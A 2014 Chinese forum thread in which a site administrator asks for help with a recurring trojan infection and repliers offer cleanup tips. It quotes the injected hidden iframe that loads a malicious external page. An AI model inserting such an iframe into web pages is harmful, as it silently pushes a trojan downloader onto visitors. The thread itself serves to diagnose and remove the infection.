日期:2014-05-17  浏览次数:21027 次

各位大哥帮帮忙吧,很奇怪的问题
网站前几天被人挂过马
清除了以后,这两天有出现了
机子中的毒是这个Hack.SuspiciousAni
单位的机子基本都中了
我把网页中的恶意代码基本都删了,检查了很多了
但打开某些网页的时候在状态栏还是经常出现了那些恶意马的URL地址
而且是第一次打开没有,刷新几次后就开始出现了
后来我怀疑是不是浏览器中毒后的原因
我在网站根目录需下建了一个asp文件,就写了个字母a,访问后果然是刚访问没问题,但刷新几次后就有问题了
所以我确定不是ASP文件的问题了,但如果是浏览器问题的话,为什么访问别的网站没问题呢,偏偏是我们这个以前被挂过的站有问题了,后来发现同服务器上的其他站点也是同样,我可以确定跟自己的浏览器有点关系,因为别人的机子访问一点问题也没有
而且也确定自己的服务器肯定也有问题,因为我的浏览器访问别的网站一点问题也没有,自己的服务器上的浏览器也曾经访问过自己的网站,所以好像也中了毒了,不知道是不是这个原因
现在很是郁闷
我现在访问网站底下的一个a.asp,文件里就一个字母a,刷新几次后就会有问题
浏览器端显示的源代码是
<iframe   src= 'http://s72.911520.net/site/gg/1.htm '   height=0   width=50> </iframe>                                                             a

各位大哥帮帮忙吧,老板让我重装服务器了,我还不想这么简单的就重装服务器,而且重装起来很麻烦


------解决方案--------------------
帮顶 ………………
------解决方案--------------------
把ie里面的设置都设置成默认,该删除的历史文件,缓寸,cookei什么的都删掉
------解决方案--------------------
会下载一个木马下载器

楼主检查后台数据库里的数据罢
------解决方案--------------------
很显然你计算机中木马了。检查服务器上的文件是否正确,如果文件中也有iframe代码那服务器端有木马。另外如果网站的数据库修改成.asp 或者.asa为后缀的也会被插入iframe代码,必须清除之。
------解决方案--------------------
装个木马克星